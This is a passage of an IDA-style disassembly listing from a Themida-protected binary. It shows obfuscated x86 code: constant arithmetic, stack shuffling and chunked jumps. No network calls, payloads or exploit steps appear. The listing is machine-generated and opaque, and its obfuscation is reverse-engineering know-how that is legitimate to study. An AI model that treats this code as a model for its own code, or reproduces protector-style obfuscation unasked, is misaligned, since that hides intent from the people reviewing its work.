; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------


loc_5A78C3:				; CODE XREF: Themida_:0059BE81j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5ABF90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A78D9:				; CODE XREF: Themida_:005A3B04j
					; sub_59A932+AFBCj
		mov	edx, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		xor	eax, ecx
		pop	ecx
		add	eax, 265A37C0h
		add	ecx, eax
		mov	eax, [esp+4+var_4]
		jmp	loc_5A474B
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7C98


loc_5A78FE:				; CODE XREF: sub_5A7C98-49C6j
		pop	edx
		push	1196h
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	sub_5A91EC
; END OF FUNCTION CHUNK	FOR sub_5A7C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A7915:				; CODE XREF: sub_5A8F00+1857j
		add	ebx, 4
		push	ebx
		push	[esp+10h+var_C]
		pop	ebx
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_5AE3C4
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------


loc_5A7927:				; CODE XREF: Themida_:005AC6AEj
		mov	edx, 31094F10h
		sub	edi, edx
		pop	edx
		sub	edi, esi
		add	edi, 31094F10h
		mov	esi, [esp]
		add	esp, 4
		or	edi, 52627EDh
		neg	edi
		jmp	loc_5A749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1C1D


loc_5A794D:				; CODE XREF: sub_5A1C1D+14j
		push	esi
		mov	esi, 5F900686h
		and	esi, 50B52BF1h
		and	esi, 3DC54EE8h
		sub	esi, 0A5CEE2C6h
		add	ebx, esi
		pop	esi
		jmp	loc_5ADE8D
; END OF FUNCTION CHUNK	FOR sub_5A1C1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A796D:				; CODE XREF: sub_59CA4A+F59Aj
		dec	ecx
		or	ecx, 21C64B3Bh
		inc	ecx
		dec	ecx
		push	ecx
		not	[esp+0Ch+var_C]
		jmp	loc_5A2D50
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A797F:				; CODE XREF: sub_5AE6FD-16230j
		add	al, 65h
		sub	al, bl
		push	ebx
		jmp	loc_5A353D
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5A7989:				; CODE XREF: sub_5AD8C7-11FA9j
		add	ebx, 476273C2h
		add	ebx, edi
		sub	ebx, 476273C2h
		jmp	loc_5AB56D
; END OF FUNCTION CHUNK	FOR sub_5AD8C7

; =============== S U B	R O U T	I N E =======================================



sub_5A799C	proc near		; CODE XREF: sub_5AB98B-B677j

arg_2		= dword	ptr  6
arg_6		= dword	ptr  0Ah

; FUNCTION CHUNK AT 005983EA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B40E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059CF35 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059D3F9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D8FD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A14B1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2B84 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB361 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE2FC SIZE 00000007 BYTES

		push	bx
		jmp	loc_5AB361
sub_5A799C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA256


loc_5A79A3:				; CODE XREF: sub_5AA256+4j
		sub	al, bh
		jmp	loc_59E52A
; END OF FUNCTION CHUNK	FOR sub_5AA256
; ---------------------------------------------------------------------------


loc_5A79AA:				; CODE XREF: Themida_:005A7360j
		mov	edi, ecx
		pop	ecx
		jmp	loc_59D20C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		jmp	loc_5A0E65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A79BC:				; CODE XREF: sub_59D99C+7C8Bj
		add	ecx, edx
		push	edx
		mov	edx, 6CEA5A1Bh
		add	ecx, edx
		pop	edx
		push	edi
		jmp	loc_5A257A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A79CD:				; CODE XREF: Themida_:00598D57j
		and	cl, 0A5h
		jz	loc_59EB04
		inc	cl
		jge	loc_5AEB70
		dec	cl
		jl	loc_5A0965
		add	cl, 6Ch
		jmp	loc_5A86BB
; ---------------------------------------------------------------------------
		mov	[esp], ecx
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A79F2:				; CODE XREF: sub_598D67+9j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		push	ebx
		push	eax
		push	ebx
		mov	ebx, 676F65C4h
		mov	eax, ebx
		pop	ebx
		mov	ebx, 0AC59D4B8h
		jmp	loc_598730
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CC75


loc_5A7A19:				; CODE XREF: sub_59CC75-44ABj
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_5A7790
; END OF FUNCTION CHUNK	FOR sub_59CC75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_5A7A28:				; CODE XREF: sub_5A71A8+2F97j
		sub	edx, 0FFFFFFFFh
		sub	edx, 14B458D5h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_5AD329
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A7A4B:				; CODE XREF: sub_5A141E+2740j
		sub	ebx, ecx
		push	28D8h
		mov	[esp+8+var_A+2], edx
		mov	edx, 6DA6325Bh
		sub	ebx, edx
		push	[esp+8+var_A+2]
		pop	edx
		add	esp, 4
		pop	ecx
		push	eax
		mov	eax, 0D0E11F2h
		sub	eax, 769B1640h
		or	eax, 130F39B1h
		jmp	loc_59F095
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A7A7C:				; CODE XREF: sub_5AC95F-1794j
		push	[esp+0Ch+var_C]
		pop	esi
		jmp	loc_5AC4B7
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A7A85:				; CODE XREF: Themida_:loc_5A4A97j
		shl	ecx, 2
		jmp	loc_5A647F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5A7A8D:				; CODE XREF: sub_5AD8C7-124CBj
		mov	edi, ecx
		pop	ecx
		jmp	loc_5ABB7A
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------


loc_5A7A95:				; CODE XREF: Themida_:0059CAD2j
		pop	edx
		inc	edx
		shl	edx, 6
		add	edx, 9B6F15D3h
		jmp	loc_597E6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A7AA5:				; CODE XREF: sub_597F0C+42DCj
		jz	loc_59B4BC
		or	cl, 37h
		jmp	loc_5A9D2C
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A7AB3:				; CODE XREF: sub_5AC95F-A608j
		pop	eax
		jmp	loc_59EAB3
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A7AB9:				; CODE XREF: Themida_:005ABB89j
		mov	[esp], ebx
		push	edi
		mov	edi, 562E741Fh
		mov	ebx, 562E741Bh
		xor	ebx, edi
		pop	edi
		jmp	loc_5AC385
; ---------------------------------------------------------------------------


loc_5A7ACF:				; CODE XREF: Themida_:005A5F70j
		mov	eax, 261438AFh
		push	esi
		mov	esi, 68061CA9h
		shl	esi, 4
		dec	esi
		shl	esi, 2
		add	esi, 364F4CC8h
		xor	esi, 2C2C4B88h
		sub	esi, 0E0122F5Fh
		add	eax, esi
		pop	esi
		shr	eax, 1
		shr	eax, 2
		not	eax
		xor	eax, 106F64D1h
		xor	eax, 0E3AF1391h
		add	ebx, eax
		jmp	loc_59D8D7
; ---------------------------------------------------------------------------


loc_5A7B0E:				; CODE XREF: Themida_:005A4DB3j
		push	edx
		pop	ebx
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_5A02AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A7B20:				; CODE XREF: sub_5A1B2A+7FC2j
		xor	esi, edi
		pop	edi
		push	edx
		jmp	loc_5A0796
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB511


loc_5A7B29:				; CODE XREF: sub_5AB511-A739j
		add	esi, edx
		pop	edx
		jmp	loc_59BE2A
; END OF FUNCTION CHUNK	FOR sub_5AB511
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A7B31:				; CODE XREF: sub_59CA4A+14j
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], eax
		mov	eax, 766A48CDh
		inc	eax
		jge	loc_5A5FC1
		shr	eax, 8
		jns	loc_5AE1E4
		mov	dl, bl
		pop	ebx


loc_5A7B52:				; CODE XREF: sub_5AC95F-11B65j
					; sub_59DEB0+194Aj
		shl	esi, 3
		not	esi
		xor	esi, 0DEF874A2h
		xor	eax, esi
		pop	esi
		jmp	loc_5A34AE
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A7B65:				; CODE XREF: sub_5A8D43-AA8Fj
		sub	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 238F4FB3h
		jmp	loc_59E133
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A7B73:				; CODE XREF: Themida_:005A7434j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A2777
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A7B7E:				; CODE XREF: sub_597F0C+CCADj
		sub	ebx, 19C912D3h
		add	ebx, ebp
		add	ebx, 19C912D3h
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A12E6
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_5A7BA3:				; CODE XREF: Themida_:005A6A23j
		pop	edx
		jmp	loc_59BAA1
; ---------------------------------------------------------------------------


loc_5A7BA9:				; CODE XREF: Themida_:005AC729j
		add	esi, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 38762E58h
		shl	edi, 2
		js	loc_59DE95
		add	edi, 1E2746A4h
		sub	esi, edi
		push	dword ptr [esp]
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_5A7BD2	proc near		; CODE XREF: sub_5A8F00-40CCj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 30D62150h
		jmp	loc_5A599A
sub_5A7BD2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C683


loc_5A7BE2:				; CODE XREF: sub_59C683+1Ej
		mov	eax, 449B7E3Eh
		add	[esp+14h+var_10], eax
		pop	eax
		pop	eax
		push	77CCh
		mov	[esp+10h+var_10], ebx
		jmp	loc_599EB8
; END OF FUNCTION CHUNK	FOR sub_59C683
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A7BFA:				; CODE XREF: sub_59FFBE+B47Cj
		mov	eax, esp
		push	ebp
		mov	ebp, 12D742ADh
		neg	ebp
		shl	ebp, 1
		and	ebp, 7D3257E9h
		jmp	loc_5A0FBE
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A7C11:				; CODE XREF: sub_5A600F+2558j
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		mov	[esp+8+var_A+2], edx
		mov	dl, 48h
		mov	ch, dl
		pop	edx
		jmp	loc_5980A7
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A7C27:				; CODE XREF: Themida_:0059ACD7j
		jp	loc_5ACFF4
		dec	ecx
		push	esi
		jmp	loc_5AAFAC
; ---------------------------------------------------------------------------
		mov	edx, 29935176h
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5A7C39:				; CODE XREF: sub_59C342+10690j
		mov	esi, [esp+0]
		jmp	loc_5A3F31
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A7C41:				; CODE XREF: sub_59B707+9AF8j
		add	esp, 4
		add	esp, 4
		push	esi
		push	5E83h
		jmp	loc_59F74F
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A7C55:				; CODE XREF: sub_59FFBE-5AF0j
		add	edx, edi
		sub	edx, 139A29EDh
		sub	edx, 73EB619Dh
		sub	edx, 2C9D3EABh
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		jmp	loc_59B5E2
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A7C76:				; CODE XREF: sub_599059+58B0j
		jmp	loc_59C813
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADB3A


loc_5A7C7B:				; CODE XREF: sub_5ADB3A-5014j
					; Themida_:005AEA3Cj
		sub	ecx, 261D25DFh
		pop	esi
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		push	ebp
		jmp	loc_5A84C2
; END OF FUNCTION CHUNK	FOR sub_5ADB3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A7C8E:				; CODE XREF: sub_5A728F+1422j
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		sub	[edi+24h], esi
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_5A728F

; =============== S U B	R O U T	I N E =======================================



sub_5A7C98	proc near		; CODE XREF: sub_5A05FB+1Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BEDD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A32AE SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A5DE8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6556 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A78FE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AACFD SIZE 0000002D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ecx, ebx
		push	edi
		push	ecx
		sub	[esp+10h+var_10], 78E0C1Ah
		mov	edi, [esp+10h+var_10]
		jmp	loc_5AACFD
sub_5A7C98	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A7CBD:				; CODE XREF: sub_5A8C33-A15Bj
		add	esp, 4
		sub	eax, 34CF36E7h
		add	eax, ebp
		add	eax, 34CF36E7h
		jmp	loc_5A7439
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A7CD4:				; CODE XREF: Themida_:005AB3BDj
		xor	ebx, ebp
		pop	ebp
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 2446F3Fh
		add	eax, ebx
		jmp	loc_5A90CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A7CF1:				; CODE XREF: sub_5A0F44+D8A1j
		inc	ebx
		not	ebx
		jmp	loc_59CC9B
; END OF FUNCTION CHUNK	FOR sub_5A0F44

; =============== S U B	R O U T	I N E =======================================



sub_5A7CF9	proc near		; CODE XREF: sub_5AC95F-E7D8j
					; sub_598D16+577Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599EFD SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059B6EE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A920D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA48B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD3EF SIZE 00000016 BYTES

		push	ebp
		mov	ebp, eax
		mov	ecx, ebp
		pop	ebp
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59B6EE
sub_5A7CF9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A7D0A:				; CODE XREF: Themida_:0059B9EBj
		sub	ebx, 0E9A7DEF9h
		jmp	loc_5994DC
; ---------------------------------------------------------------------------


loc_5A7D15:				; CODE XREF: Themida_:005AD53Cj
		mov	esi, 45C11CB9h
		add	edx, 59156767h
		jmp	loc_59F36F
; ---------------------------------------------------------------------------


loc_5A7D25:				; CODE XREF: Themida_:005A58C6j
		add	ebp, 4
		jmp	loc_5ACF9E
; ---------------------------------------------------------------------------


loc_5A7D30:				; CODE XREF: Themida_:005AA62Fj
		jnz	loc_5AE47C
		xor	ebp, 0D612CEEDh
		not	ebp
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		push	esi
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A7D44:				; CODE XREF: sub_5A1076-3932j
					; Themida_:005AE579j
		pop	edi
		add	edx, 1
		neg	edx
		add	edx, 4FBA1BD0h
		sub	ebx, 6A73681Fh
		sub	ebx, edx
		add	ebx, 6A73681Fh
		pop	edx
		xor	ebx, 2400F06Fh
		sub	eax, ebx
		jmp	loc_5A1885
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_5A7D6F:				; CODE XREF: sub_59BD3A+6j
		mov	ecx, 28C5A82h
		mov	ebx, 6A997674h
		xor	ebx, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		and	esi, ebx
		mov	ebx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_59E516
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_5A7D9D:				; CODE XREF: sub_5A02EA+E048j
		sub	[esp+4+var_4], eax
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ecx, 2BCF3037h
		jmp	loc_599921
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------


loc_5A7DB3:				; CODE XREF: Themida_:005A5B30j
		shl	ecx, 7
		xor	ecx, 33CC4D02h
		add	esi, 0F0C67B9h
		sub	esi, 76354A1Ch
		add	esi, ecx
		push	ecx
		jmp	loc_5A70EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A7DD0:				; CODE XREF: sub_5A8D43-E28Fj
		mov	cl, bl
		pop	bx
		xor	cl, 0FDh
		xor	dh, cl
		pop	ecx
		sub	al, 0E3h
		add	al, 0E2h
		sub	al, dh
		push	2CD1h
		jmp	loc_59CC91
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A7DEA:				; CODE XREF: sub_59EE40+990j
		and	ch, 0FCh
		jmp	loc_5A7139
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A7DF2:				; CODE XREF: sub_5AC95F-8BECj
		xor	bl, 0D2h
		jge	loc_5A01D2
		jmp	loc_5A1970
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A7E00:				; CODE XREF: sub_5A8D43-CC17j
		sub	dl, 0F6h
		sub	bl, dl
		jmp	loc_597DE4
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A7E0A:				; CODE XREF: sub_5A3F42-8E68j
		push	eax
		mov	eax, 67F3E34h
		add	ecx, eax
		pop	eax
		dec	ecx
		add	ecx, 1F7CFD3Bh
		sub	edi, ecx
		pop	ecx
		sub	edi, 41A46B3Fh
		jmp	loc_597FF8
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5A7E28:				; CODE XREF: sub_59B48F+5D8j
		inc	esi
		jmp	loc_5A37C2
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A24F4


loc_5A7E2E:				; CODE XREF: sub_5A24F4-A465j
		sub	ecx, 51B5096Ah
		sub	ecx, 6B852CB1h
		push	eax
		push	ecx
		mov	ecx, 46877FA1h
		mov	eax, ecx
		pop	ecx
		add	ecx, 6BE41FB6h
		add	ecx, eax
		push	esi
		mov	esi, 5D3728D2h
		shl	esi, 5
		and	esi, 3B1F1C57h
		and	esi, 7E9D2AA3h
		neg	esi
		jmp	loc_5ACFAB
; END OF FUNCTION CHUNK	FOR sub_5A24F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A7E68:				; CODE XREF: sub_599059+F046j
		mov	[esp+2+var_4+2], esp
		add	[esp+2+var_4+2], 4
		pop	edx
		sub	esp, 4
		mov	[esp+2+var_4+2], eax
		push	ebp
		mov	ebp, 1F727935h
		sub	ebp, 41D86CA8h
		jmp	loc_5A3788
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A7E8D:				; CODE XREF: sub_5A438E+9CCCj
		pop	[esp+0Ch+var_C]
		pop	esp
		mov	cx, word ptr [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		push	ebx
		jmp	loc_5AD1DF
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A80D3


loc_5A7EA5:				; CODE XREF: sub_5A80D3-4C73j
		mov	esp, [esp+0]
		mov	eax, [esp-8+arg_0]
		add	esp, 4
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		xchg	eax, edi
		sub	esp, 4
		mov	[esp-8+arg_0], eax
		push	ebx
		mov	ebx, 1FC86381h
		add	ebx, 722B5203h
		push	edx
		mov	edx, 537E54E1h
		shl	edx, 2
		sub	edx, 3F9511FEh
		jmp	loc_5A2366
; END OF FUNCTION CHUNK	FOR sub_5A80D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A7ED9:				; CODE XREF: sub_5AB3DC+12ACj
		jmp	loc_5A1D2C
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A7EDE:				; CODE XREF: sub_597F0C+123C0j
		mov	[esp+4+var_4], esp
		jmp	loc_5ACD34
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A7EE6:				; CODE XREF: sub_5A7343+4157j
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp+16h+var_16]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1A]
		pop	esp
		pop	[esp+16h+var_16]
		mov	esp, [esp+0]
		mov	cx, [esp+0]
		sub	esp, 4
		jmp	loc_5A120E
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A7F24:				; CODE XREF: sub_59CA4A-A1Ej
					; Themida_:005A3EDFj
		mov	[esp-4+arg_0], eax
		mov	eax, 3C1719B7h
		xor	[esp-4+arg_4], eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 3C1719B7h
		pop	esi
		jmp	loc_5A51E4
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A7F49:				; CODE XREF: sub_5AEE2E-5298j
		not	dword ptr [esp+0]
		jmp	loc_5A25E5
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A7F51:				; CODE XREF: sub_59CA4A+9245j
		mov	ecx, 5D64B161h
		jmp	loc_5AD2B0
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5A7F5B:				; CODE XREF: sub_5A91CF+28FDj
		push	ecx
		not	[esp+8+var_8]
		pop	ecx
		or	ecx, 1D4E4DF2h
		jmp	loc_598DC8
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A7F6B:				; CODE XREF: sub_59A932+11904j
		push	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	sub_59D180
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_5A7F86:				; CODE XREF: sub_5A484D+5D6Ej
		sub	ebp, 3D0639FDh
		jmp	loc_5A3CD1
; END OF FUNCTION CHUNK	FOR sub_5A484D
; ---------------------------------------------------------------------------


loc_5A7F91:				; CODE XREF: Themida_:005A2E98j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	4
		pop	edi
		sub	ebp, 70F02E50h
		sub	ebp, 537C165Ah
		sub	ebp, 1EA118B2h
		add	ebp, edi
		add	ebp, 1EA118B2h
		add	ebp, 537C165Ah
		push	edx
		mov	edx, 33C31139h
		not	edx
		jmp	loc_5AA98B
; ---------------------------------------------------------------------------


loc_5A7FD1:				; CODE XREF: Themida_:005A4A92j
		add	esp, 4
		push	0CE5h
		mov	[esp], edi
		push	2BC3h
		mov	[esp], esi
		push	edx
		mov	edx, 16225B4Eh
		not	edx
		push	57C7h
		mov	[esp], eax
		mov	eax, 469F7879h
		or	eax, 67B64708h
		jmp	loc_59AF24
; ---------------------------------------------------------------------------


loc_5A8003:				; CODE XREF: Themida_:0059BABEj
		push	eax
		mov	al, dh
		mov	bh, al
		pop	eax
		not	bh
		mov	dh, bh
		pop	ebx
		xor	dh, 20h
		add	bl, dh
		pop	edx
		sub	bl, dl
		sub	bl, 85h
		pop	dx
		jmp	loc_59DD21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A8020:				; CODE XREF: sub_5A141E+271Bj
					; Themida_:loc_5AE6F8j
		push	edx
		mov	dx, 3FAEh
		neg	dx
		shr	dx, 1
		jmp	loc_59C2F0
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A8030:				; CODE XREF: sub_5A1B2A-137Dj
		neg	edi
		add	edi, 15255526h
		and	edi, 68306347h
		jle	loc_5AD146
		inc	edi
		jmp	loc_59C8A1
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5A804A:				; CODE XREF: Themida_:005A46F5j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	[esp+8], ecx
		pop	ecx
		add	dword ptr [esp+4], 5627FF2h
		add	dword ptr [esp+4], 301D5A5Ah
		add	[esp+4], ebx
